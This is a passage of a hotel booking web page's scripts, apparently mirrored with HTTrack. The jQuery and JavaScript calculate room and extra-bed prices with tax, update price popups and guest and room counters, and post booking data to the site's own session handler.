if (roomQty > 0) {
const container = document.createElement('div');
container.className = 'extra-bed-container mb-0';
const select = document.createElement('select');
select.className = 'extra-bed-select form-select';
for (let i = 0; i <= roomQty; i++) {
const option = document.createElement('option');
option.value = i;
option.textContent = `${i}`;
select.appendChild(option);
}
container.innerHTML = `<label class="me-2">Extra Bed:</label>`;
container.appendChild(select);
const pricingSection = parentContainer.querySelector('.price-section') ||
parentContainer.querySelector('.price').parentElement;
parentContainer.insertBefore(container, pricingSection);
select.addEventListener('change', function() {
updatePricing(selectElement);
});
}
}
function updatePricing(selectElement) {
const parentContainer = selectElement.closest('.pe-3').parentElement;
if (!parentContainer) {
console.error('Parent container not found');
return;
}
const priceElement = parentContainer.querySelector('.price');
const roomDiv = parentContainer.querySelector('.room');
if (!priceElement || !roomDiv) {
console.error('Required elements not found:', { price: !!priceElement, room: !!roomDiv });
return;
}
const basePrice = cleanPrice(priceElement.getAttribute('data-base-price') || priceElement.textContent);
const quantity = parseInt(selectElement.value, 10);
const extraBedSelect = parentContainer.querySelector('.extra-bed-select');
const extraBedQty = extraBedSelect ? parseInt(extraBedSelect.value, 10) : 0;
const extraBedPrice = parseFloat(selectElement.getAttribute('data-extra-bed-price') || '1200');
const extraBedTotal = extraBedQty * extraBedPrice;
const roomSubtotal = basePrice * quantity;
const subtotal = roomSubtotal + extraBedTotal;
const taxRate = subtotal <= 7000 ? 0.12 : 0.18;
const taxAmount = subtotal * taxRate;
const totalPrice = subtotal + taxAmount;
priceElement.textContent = `INR ${formatNumber(subtotal)}`;
priceElement.setAttribute('data-base-price', basePrice.toString());
updatePopupContent(roomDiv, {
quantity: quantity,
extraBedQty: extraBedQty,
extraBedPrice: extraBedPrice,
roomSubtotal: roomSubtotal,
extraBedTotal: extraBedTotal,
subtotal: subtotal,
taxAmount: taxAmount,
totalPrice: totalPrice
});
storeValues(parentContainer, {
basePrice: basePrice,
quantity: quantity,
extraBedQty: extraBedQty,
extraBedPrice: extraBedPrice,
subtotal: subtotal,
taxAmount: taxAmount,
totalPrice: totalPrice
});
}
function updatePopupContent(roomDiv, { quantity, extraBedQty, extraBedPrice, roomSubtotal, extraBedTotal, subtotal, taxAmount, totalPrice }) {
const popup = roomDiv.querySelector('.popup');
if (!popup) return;
const roomsDetails = popup.querySelector('.roomsdetails');
if (roomsDetails) {
roomsDetails.textContent = `Rate for 1 Night 2 Guests ${quantity} Room${quantity > 1 ? 's' : ''}` +
(extraBedQty ? ` with ${extraBedQty} Extra Bed${extraBedQty > 1 ? 's' : ''}` : '');
}
const priceParagraph = popup.querySelector('p');
if (!priceParagraph) return;
const flexSpans = priceParagraph.querySelectorAll('span[style="display:flex; justify-content:space-between;"]');
if (flexSpans[0]) {
flexSpans[0].innerHTML = `
<span>Room Charges</span>
<span>INR ${formatNumber(roomSubtotal)}</span>
`;
}
if (extraBedQty > 0) {
const extraBedSpan = document.createElement('span');
extraBedSpan.style.display = 'flex';
extraBedSpan.style.justifyContent = 'space-between';
extraBedSpan.innerHTML = `
<span>Extra Bed(${extraBedQty} × INR ${formatNumber(extraBedPrice)})</span>
<span>INR ${formatNumber(extraBedTotal)}</span>
`;
flexSpans[0].insertAdjacentElement('afterend', extraBedSpan);
}
if (flexSpans[1]) {
const taxSpan = flexSpans[1].querySelector('span:last-child');
if (taxSpan) {
taxSpan.textContent = `INR ${formatNumber(taxAmount)}`;
}
}
if (flexSpans[2]) {
const totalSpan = flexSpans[2].querySelector('span:last-child b');
if (totalSpan) {
totalSpan.textContent = `INR ${formatNumber(totalPrice)}`;
}
}
}
function storeValues(container, { basePrice, quantity, extraBedQty, extraBedPrice, subtotal, taxAmount, totalPrice }) {
const values = {
'base_price': basePrice,
'quantity': quantity,
'extra_bed_qty': extraBedQty,
'extra_bed_price': extraBedPrice,
'subtotal': subtotal,
'tax_amount': taxAmount,
'total_price': totalPrice
};
Object.entries(values).forEach(([key, value]) => {
let input = container.querySelector(`input[name="${key}"]`);
if (!input) {
input = document.createElement('input');
input.type = 'hidden';
input.name = key;
container.appendChild(input);
}
input.value = value;
});
}
function formatNumber(number) {
return new Intl.NumberFormat('en-IN', {
maximumFractionDigits: 2,
minimumFractionDigits: 0
}).format(number);
}
function showPopup(element) {
const popup = element.querySelector('.popup');
if (popup) popup.style.display = 'block';
}
function hidePopup(element) {
const popup = element.querySelector('.popup');
if (popup) popup.style.display = 'none';
}
document.addEventListener('DOMContentLoaded', initRoomPricingCalculator);
window.debugRoomStructure = function() {
document.querySelectorAll('.quantity1').forEach((select, index) => {
const container = select.closest('.pe-3');
const parent = container?.parentElement;
console.log(`Select ${index} structure:`, {
select: select,
container: container,
parent: parent,
priceElement: parent?.querySelector('.price'),
roomDiv: parent?.querySelector('.room'),
popup: parent?.querySelector('.popup'),
extraBedSelect: parent?.querySelector('.extra-bed-select')
});
});
};
document.addEventListener('DOMContentLoaded', function() {
const popups = document.querySelectorAll('.popup');
popups.forEach(popup => {
popup.style.display = 'none';
});
});
// function updateExtraBedOptions(selectElement) {
// const roomId = $(selectElement).data('room-id');
// const basePrice = parseFloat($(selectElement).data('price'));
// const quantity = parseInt($(selectElement).val());
// const priceElement = $(selectElement).closest('.rooms-details').find('.price');
// if (quantity === 0) {
// priceElement.text('INR ' + basePrice.toLocaleString());
// } else {
// const totalPrice = basePrice * quantity;
// priceElement.text('INR ' + totalPrice.toLocaleString());
// }
// }
$(document).ready(function() {
$('.booking_room').on('click', function(e) {
e.preventDefault();
const roomId = $(this).data('room-id');
const cardElement = $(this).closest('.room-card');
const quantitySelect = cardElement.find(`select[data-room-id="${roomId}"]`);
const priceElement = $(this).closest('.option-item').find('.price');
let base_price = parseFloat(priceElement.data('base-price').toString().replace(/,/g, '')) || 0;
let quantity = parseFloat(quantitySelect.val()) || 0;
const extraBedSelect = cardElement.find('.extra-bed-select');
const extraBedQuantity = extraBedSelect.length ? parseInt(extraBedSelect.val()) || 0 : 0;
const extraBedPrice = 1200;
const extraBedsTotal = extraBedPrice * extraBedQuantity;
const roomSubtotal = base_price * quantity;
base_price = roomSubtotal + extraBedsTotal;
let tax_rate = (roomSubtotal / quantity) <= 7000 ? 0.12 : 0.18;
let tax = base_price * tax_rate;
let total_price = base_price + tax;
const roomData = {
suid: roomId,
room_name: cardElement.find('.room_name').first().text().trim(),
rid: cardElement.find('input[name="rid"]').val(),
room_type: cardElement.find(`input[name="room_type_${roomId}"]`).val(),
quantity: quantity,
extra_beds: extraBedQuantity,
extra_bed_price: extraBedPrice,
tax_rate: tax,
taxs: tax_rate,
base_price: base_price,
total_price: total_price,
check_in: $('#startDate').val(),
check_out: $('#endDate').val(),
booking_id: generateBookingId()
};
if (!roomData.check_in || !roomData.check_out) {
alert('Please select check-in and check-out dates');
return;
}
if (roomData.quantity === 0) {
alert('Please select at least one room');
return;
}
$.ajax({
url: 'session_handler.php',
method: 'POST',
data: {
action: 'add_booking',
booking_data: JSON.stringify(roomData)
},
success: function(response) {
const result = JSON.parse(response);
if (result.success) {
window.location.href = 'room_details.php?suid=' + roomData.suid;
} else {
alert('Error: ' + result.message);
}
},
error: function() {
alert('Error occurred while processing your request');
}
});
});
function generateBookingId() {
return 'BK' + Date.now() + Math.random().toString(36).substr(2, 5);
}
function updateBookingDisplay() {
$.ajax({
url: 'session_handler.php',
method: 'POST',
data: { action: 'get_bookings' },
success: function(response) {
const bookings = JSON.parse(response);
// displayBookings(bookings);
},
error: function() {
alert('Error loading bookings');
}
});
}
$(document).on('click', '.delete-booking', function() {
const bookingId = $(this).data('booking-id');
$.ajax({
url: 'session_handler.php',
method: 'POST',
data: {
action: 'delete_booking',
booking_id: bookingId
},
success: function(response) {
const result = JSON.parse(response);
if (result.success) {
// alert('Booking removed successfully!');
updateBookingDisplay();
} else {
alert('Error: ' + result.message);
}
},
error: function() {
alert('Error occurred while deleting');
}
});
});
updateBookingDisplay();
});
// Function to display bookings
// function displayBookings(bookings) {
// const container = $('#booking-list');
// container.empty();
// if (bookings.length === 0) {
// container.html('<p>No bookings found</p>');
// return;
// }
// let html = '<div class="table-responsive"><table class="table table-bordered">';
// html += `
// <thead>
// <tr>
// <th>#</th>
// <th>Booking ID</th>
// <th>Room id</th>
// <th>Room Name</th>
// <th>Room Type</th>
// <th>Check In</th>
// <th>Check Out</th>
// <th>Quantity</th>
// <th>Tax</th>
// <th>Price</th>
// <th>Total</th>
// <th>Action</th>
// </tr>
// </thead>
// <tbody>
// `;
// bookings.forEach((booking, index) => {
// html += `
// <tr>
// <td>${index + 1}</td>
// <td>${booking.booking_id}</td>
// <td>${booking.rid}</td>
// <td>${booking.room_name}</td>
// <td>${booking.room_type}</td>
// <td>${booking.check_in}</td>
// <td>${booking.check_out}</td>
// <td>${booking.quantity}</td>
// <td>${booking.taxs}</td>
// <td>INR ${booking.base_price}</td>
// <td>INR ${booking.total_price}</td>
// <td>
// <button class="btn btn-danger btn-sm delete-booking"
// data-booking-id="${booking.booking_id}">
// <i class="fa fa-trash"></i>
// </button>
// </td>
// </tr>
// `;
// });
// html += '</tbody></table></div>';
// container.html(html);
// }
</script>
<script>
function showPopup(element) {
const popup = element.querySelector('.popup');
if (popup) {
popup.style.display = 'block';
}
}
function hidePopup(element) {
const popup = element.querySelector('.popup');
if (popup) {
popup.style.display = 'none';
}
}
</script>
<script>
$(document).ready(function(){
$('[data-toggle="tooltip"]').tooltip();
});
</script>
<script>
document.getElementById("topid").addEventListener("click", function() {
window.scrollTo({ top: 0, behavior: 'smooth' });
});
function showPopup(element) {
const popup = element.querySelector('.popup');
popup.style.display = 'block';
}
function hidePopup(element) {
const popup = element.querySelector('.popup');
popup.style.display = 'none';
}
</script>
<script>
function formatPrice(number) {
return number.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
}
function extractBasePrice(priceElement) {
const priceText = priceElement.innerText;
return parseInt(priceText.replace('INR ', '').replace(/,/g, ''));
}
function calculateTotalPrice(basePrice) {
const taxAmount = Math.round(basePrice * 0.18);
return {
basePrice: basePrice,
taxAmount: taxAmount,
totalPrice: basePrice + taxAmount
};
}
function updateRoomPrice(selectElement) {
const optionItem = selectElement.closest('.option-item');
const priceElement = optionItem.querySelector('.price');
if (!priceElement.dataset.basePrice) {
priceElement.dataset.basePrice = extractBasePrice(priceElement);
}
const quantity = parseInt(selectElement.value);
const basePrice = parseInt(priceElement.dataset.basePrice);
const totalPrice = basePrice * quantity;
priceElement.innerText = `INR ${formatPrice(totalPrice)}`;
const popup = optionItem.querySelector('.popup');
if (popup) {
updatePopupPrices(popup, totalPrice);
}
}
function updatePopupPrices(popup, baseAmount) {
const taxAmount = Math.round(baseAmount * 0.18);
const totalWithTax = baseAmount + taxAmount;
const rateSpan = popup.querySelector('span span:last-child');
const taxSpan = popup.querySelector('span:nth-child(4) span:last-child');
const totalSpan = popup.querySelector('span:nth-child(5) span:last-child b');
if (rateSpan) rateSpan.innerText = formatPrice(baseAmount);
if (taxSpan) taxSpan.innerText = formatPrice(taxAmount);
if (totalSpan) totalSpan.innerText = formatPrice(totalWithTax);
}
// function bookRoom(event, button) {
// if (event) {
// event.preventDefault();
// event.stopPropagation();
// }
// console.log('Booking process started');
// const roomCard = button.closest('.room-card');
// const roomOption = button.closest('.option-item');
// const checkIn = document.getElementById('startDate').value || new Date().toISOString().split('T')[0];
// const checkOut = document.getElementById('endDate').value || new Date(Date.now() + 86400000).toISOString().split('T')[0];
// const adults = document.querySelector('.hidden-adults-count').value || 2;
// const children = document.querySelector('.hidden-children-count').value || 0;
// const rooms = document.querySelector('.quantity1').value || 1;
// const roomTitleElement = roomCard.querySelector('.room-title');
// const roomType = roomTitleElement ? roomTitleElement.textContent.trim() : '';
// const category = roomOption.querySelector('.room_name').textContent.trim().toLowerCase().includes('single') ? 'single' : 'double';
// if (!roomType) {
// console.error('Room type not found or empty!');
// alert('Could not retrieve room type. Please try again.');
// return;
// }
// const priceElement = roomOption.querySelector('.price');
// const basePrice = extractBasePrice(priceElement);
// const priceDetails = calculateTotalPrice(basePrice);
// console.log('Booking Details:', {
// checkIn,
// checkOut,
// adults,
// children,
// rooms,
// roomType,
// category,
// basePrice: priceDetails.basePrice,
// taxAmount: priceDetails.taxAmount,
// totalPrice: priceDetails.totalPrice
// });
// const formData = new FormData();
// formData.append('check_in', checkIn);
// formData.append('check_out', checkOut);
// formData.append('adults', adults);
// formData.append('children', children);
// formData.append('room_count', rooms);
// formData.append('room_type', roomType);
// formData.append('category', category);
// formData.append('base_price', priceDetails.basePrice);
// formData.append('tax_amount', priceDetails.taxAmount);
// formData.append('total_price', priceDetails.totalPrice);
// fetch('process_booking', {
// method: 'POST',
// body: formData
// })
// .then(async response => {
// if (!response.ok) {
// throw new Error(`HTTP error! status: ${response.status}`);
// }
// const contentType = response.headers.get('content-type');
// if (contentType && contentType.includes('application/json')) {
// return response.json();
// } else {
// const text = await response.text();
// console.error('Received non-JSON response:', text);
// throw new Error('Server returned non-JSON response');
// }
// })
// .then(data => {
// if (data.status === 'success') {
// // alert('Booking successful!');
// window.location.href = 'room_details?booking_id=' + data.booking_id;
// } else {
// alert('Booking failed: ' + data.message);
// }
// })
// .catch(error => {
// console.error('Error Details:', error);
// alert('An error occurred while processing your booking. Please try again or contact support if the problem persists.');
// });
// }
// document.addEventListener('DOMContentLoaded', function() {
// const bookingButtons = document.querySelectorAll('.booking_room');
// bookingButtons.forEach(button => {
// button.onclick = function(event) {
// event.preventDefault();
// bookRoom(event, this);
// return false;
// };
// });
// const forms = document.querySelectorAll('form');
// forms.forEach(form => {
// form.onsubmit = function(event) {
// event.preventDefault();
// return false;
// };
// });
// });
</script>
<script>
let adultsCount = 2;
let childrenCount = 0;
let roomsCount = 1;
const defaultMaxRooms = 4;
let maxRooms = defaultMaxRooms;
const maxAdults = 8;
const maxChildrenPerRoom = 1;
const adultsPerRoom = 2;
document.addEventListener('DOMContentLoaded', function() {
updateDisplayAndInputs();
document.getElementById('guests-input-options').style.display = 'none';
});
const guestsBtn = document.getElementById('guests-input-btn');
const guestsOptions = document.getElementById('guests-input-options');
guestsBtn.addEventListener('click', () => {
guestsOptions.style.display = guestsOptions.style.display === 'block' ? 'none' : 'block';
});
document.addEventListener('click', (event) => {
if (!guestsBtn.contains(event.target) && !guestsOptions.contains(event.target)) {
guestsOptions.style.display = 'none';
}
});
function calculateRequiredRooms(adults) {
return Math.ceil(adults / adultsPerRoom);
}
function updateDisplayAndInputs() {
document.getElementById('rooms-count').textContent = roomsCount;
document.getElementById('guests-count-adults').textContent = adultsCount;
document.getElementById('guests-count-children').textContent = childrenCount;
document.getElementById('hidden-adults-count').value = adultsCount;
document.getElementById('hidden-children-count').value = childrenCount;
document.getElementById('hidden-rooms-count').value = roomsCount;
}
// Fetch max rooms from the database (assuming this is relevant for the real application)
// fetch('get_room_quantity')
// .then(response => response.json())
// .then(data => {
// if (data.maxRooms && !isNaN(data.maxRooms) && data.maxRooms > 0) {
// maxRooms = Math.min(parseInt(data.maxRooms), defaultMaxRooms);
// } else {
// maxRooms = defaultMaxRooms;
// }
// console.log("Max Rooms Available: ", maxRooms);
// })
// .catch(error => {
// console.error('Error fetching max rooms:', error);
// maxRooms = defaultMaxRooms;
// });
document.getElementById('adults-add-btn').addEventListener('click', function() {
if (adultsCount < maxAdults) {
adultsCount++;
updateRequiredRooms();
} else {
alert(`Maximum ${maxAdults} adults are allowed.`);
}
});
document.getElementById('adults-subs-btn').addEventListener('click', function() {
if (adultsCount > 1) {
adultsCount--;
updateRequiredRooms();
}
});
document.getElementById('children-add-btn').addEventListener('click', function() {
if (childrenCount < (maxRooms * maxChildrenPerRoom)) {
childrenCount++;
updateRequiredRooms();
} else {
alert(`Maximum ${maxRooms * maxChildrenPerRoom} children are allowed.`);
}
});
document.getElementById('children-subs-btn').addEventListener('click', function() {
if (childrenCount > 0) {
childrenCount--;
updateRequiredRooms();
}
});
function updateRequiredRooms() {
const requiredRooms = calculateRequiredRooms(adultsCount);
if (requiredRooms > maxRooms) {
alert(`Cannot exceed ${maxRooms} rooms.`);
adultsCount--;
} else {
roomsCount = Math.max(requiredRooms, roomsCount);
}
updateDisplayAndInputs();
}
document.getElementById('rooms-add-btn').addEventListener('click', function() {
if (roomsCount < maxRooms) {
roomsCount++;
updateDisplayAndInputs();
} else {
alert("Cannot add more rooms. Maximum rooms reached.");
}
});
document.getElementById('rooms-subs-btn').addEventListener('click', function() {
const requiredRooms = calculateRequiredRooms(adultsCount);
if (roomsCount > requiredRooms) {
roomsCount--;
updateDisplayAndInputs();
} else {
alert(`Cannot reduce rooms. Minimum ${requiredRooms} rooms needed for ${adultsCount} adults.`);
}
});
</script>
<!-- <script>
document.addEventListener("DOMContentLoaded", function() {
const currentDate = new Date();
const startDate = new Date();
startDate.setDate(currentDate.getDate() + 1);
const endDate = new Date();
endDate.setDate(startDate.getDate() + 3);
flatpickr("#dateRange", {
mode: "range",
dateFormat: "Y-m-d",
minDate: "today",
defaultDate: [startDate, endDate],
onChange: function(selectedDates, dateStr, instance) {
if (selectedDates.length === 2) {
const start = selectedDates[0].toLocaleDateString("en-CA");
const end = selectedDates[1].toLocaleDateString("en-CA");
instance.input.value = `${start} to ${end}`;
}
},
onReady: function(selectedDates, dateStr, instance) {
// instance.open();
}
});
});
function goToStep(stepNumber) {
document.querySelectorAll('.step').forEach(step => step.classList.remove('active'));
document.getElementById(`step-${stepNumber}`).classList.add('active');
}
// Form submission listener for step 4
document.getElementById('form-step-4').addEventListener('submit', function(event) {
event.preventDefault();x
const step1Data = new FormData(document.getElementById('form-step-1'));
const step2Data = new FormData(document.getElementById('form-step-2'));
const step3Data = new FormData(document.getElementById('form-step-3'));
let formData = {};
step1Data.forEach((value, key) => formData[key] = value);
step2Data.forEach((value, key) => formData[key] = value);
step3Data.forEach((value, key) => formData[key] = value);
// Retrieve the date range value from the Flatpickr input
formData['dateRange'] = document.getElementById('dateRange').value;
});
</script> -->
</body>
<!-- Mirrored from crowdytheme.com/html/info/info-demo/social-influence/blog-details by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 09 May 2024 06:03:53 GMT -->
</html>